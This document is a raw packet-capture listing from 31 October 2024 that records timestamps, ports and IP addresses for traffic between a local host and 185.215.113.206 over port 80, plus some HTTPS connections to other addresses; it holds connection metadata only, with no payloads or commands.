Oct 31, 2024 03:04:35.215509892 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215522051 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215528965 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.215543032 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215553045 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.215554953 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215564966 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215575933 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215576887 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.215585947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215603113 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.215627909 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.215689898 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215701103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215725899 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215727091 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.215737104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215747118 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215750933 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.215756893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215770006 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.215776920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215787888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215796947 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.215797901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215810061 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.215810061 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.215836048 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.215857983 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216056108 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216067076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216077089 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216099024 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216120958 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216129065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216139078 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216154099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216165066 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216173887 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216195107 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216218948 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216224909 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216236115 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216245890 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216258049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216264009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216269016 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216279984 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216293097 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216305971 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216320992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216325998 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216331005 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216350079 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216356993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216361046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216371059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216382027 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216392040 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216396093 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216402054 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216413021 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216434956 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216464996 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216475964 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216485023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216496944 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216509104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216521025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216522932 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216531038 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216540098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216547012 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216552019 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216572046 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216573954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216584921 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216590881 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216598034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216604948 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216622114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216634035 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216634035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216645002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216655970 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216655970 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216666937 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216681004 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216694117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216708899 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216711044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216721058 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216728926 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216732025 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216742992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216753006 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216753960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.216778040 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216795921 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.216964006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217005014 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217050076 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217070103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217082024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217093945 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217103958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217119932 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217132092 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217135906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217145920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217156887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217164993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217168093 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217170954 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217191935 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217215061 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217247009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217258930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217269897 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217281103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217292070 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217297077 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217308044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217313051 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217328072 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217354059 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217356920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217381001 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217416048 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217423916 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217436075 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217446089 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217467070 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217490911 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217616081 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217653990 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217663050 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217674017 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217703104 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217711926 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217721939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217731953 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.217755079 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.217761993 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.218960047 CET	49907	443	192.168.2.5	20.125.209.212
Oct 31, 2024 03:04:35.219041109 CET	443	49907	20.125.209.212	192.168.2.5
Oct 31, 2024 03:04:35.219301939 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.219333887 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.219341993 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.219366074 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.219374895 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.219374895 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.219383001 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.219403028 CET	443	49901	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.219414949 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.219423056 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.219448090 CET	49901	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.219705105 CET	49907	443	192.168.2.5	20.125.209.212
Oct 31, 2024 03:04:35.219722986 CET	443	49907	20.125.209.212	192.168.2.5
Oct 31, 2024 03:04:35.223097086 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.223119974 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.223131895 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.223145962 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.223170042 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.223206997 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.223244905 CET	443	49904	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.223288059 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.223345041 CET	49904	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.245599031 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.245657921 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.245678902 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.245712996 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.245729923 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.245753050 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.245764017 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.245779037 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.245781898 CET	443	49903	23.47.50.151	192.168.2.5
Oct 31, 2024 03:04:35.245816946 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.245846033 CET	49903	443	192.168.2.5	23.47.50.151
Oct 31, 2024 03:04:35.248058081 CET	443	49902	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.248157978 CET	443	49902	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.248226881 CET	49902	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.253006935 CET	50382	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.253015995 CET	443	50382	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.253073931 CET	50382	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.254359961 CET	50383	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.254386902 CET	443	50383	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.254463911 CET	50383	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.254642963 CET	50382	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.254662037 CET	443	50382	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.255283117 CET	49902	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.255283117 CET	49902	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.255290031 CET	443	49902	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.255296946 CET	443	49902	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.257404089 CET	50383	443	192.168.2.5	23.198.7.179
Oct 31, 2024 03:04:35.257424116 CET	443	50383	23.198.7.179	192.168.2.5
Oct 31, 2024 03:04:35.259641886 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.259680986 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.259694099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.259695053 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.259717941 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.259717941 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.259730101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.259741068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.259742975 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.259762049 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.259792089 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.264105082 CET	50384	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:35.264130116 CET	443	50384	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:35.264378071 CET	50384	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:35.264617920 CET	50384	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:35.264627934 CET	443	50384	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:35.264895916 CET	49907	443	192.168.2.5	20.125.209.212
Oct 31, 2024 03:04:35.266026974 CET	50385	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:35.266081095 CET	443	50385	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:35.266304970 CET	50385	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:35.266571045 CET	50385	443	192.168.2.5	204.79.197.219
Oct 31, 2024 03:04:35.266602993 CET	443	50385	204.79.197.219	192.168.2.5
Oct 31, 2024 03:04:35.277837038 CET	50386	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.277874947 CET	443	50386	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.278058052 CET	50386	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.278754950 CET	50386	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.278783083 CET	443	50386	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.286288977 CET	443	49905	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:35.286539078 CET	49905	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.286555052 CET	443	49905	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:35.287694931 CET	443	49905	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:35.287754059 CET	49905	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.288964987 CET	49905	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.289050102 CET	443	49905	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:35.289138079 CET	49905	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.289160967 CET	443	49905	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:35.289197922 CET	49905	443	192.168.2.5	20.42.65.90
Oct 31, 2024 03:04:35.289247990 CET	443	49905	20.42.65.90	192.168.2.5
Oct 31, 2024 03:04:35.291373014 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.291788101 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.291798115 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.292608023 CET	49899	443	192.168.2.5	13.107.246.45
Oct 31, 2024 03:04:35.292613029 CET	443	49899	13.107.246.45	192.168.2.5
Oct 31, 2024 03:04:35.329087019 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329113007 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329123974 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329155922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329160929 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329165936 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329176903 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329191923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329200983 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329217911 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329243898 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329277039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329288006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329298973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329312086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329320908 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329324007 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329335928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329348087 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329355955 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329372883 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329385996 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329411983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329432011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329442978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329459906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329462051 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329473972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329483986 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329487085 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329509020 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329530001 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329730988 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329742908 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329751968 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329763889 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329776049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329786062 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329787016 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329797983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329809904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329809904 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329824924 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329829931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329840899 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329847097 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329857111 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329868078 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329869032 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329880953 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329890966 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329891920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329902887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329915047 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329916954 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329924107 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329932928 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329953909 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.329987049 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.329997063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330007076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330018044 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330028057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330030918 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.330030918 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.330038071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330049992 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330063105 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.330075979 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330086946 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.330089092 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330099106 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330111980 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330122948 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.330135107 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.330159903 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.330168009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330178976 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330205917 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.330209017 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.330223083 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.330235004 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.331031084 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.331044912 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.331094027 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.331121922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.331125021 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.331132889 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.331144094 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.331156015 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.331161022 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.331166983 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.331176996 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.331186056 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.331202030 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.331228018 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:35.331233978 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.331247091 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.331269026 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.331279993 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:35.331284046 CET	49823	80	192.168.2.5	185.215.113.206
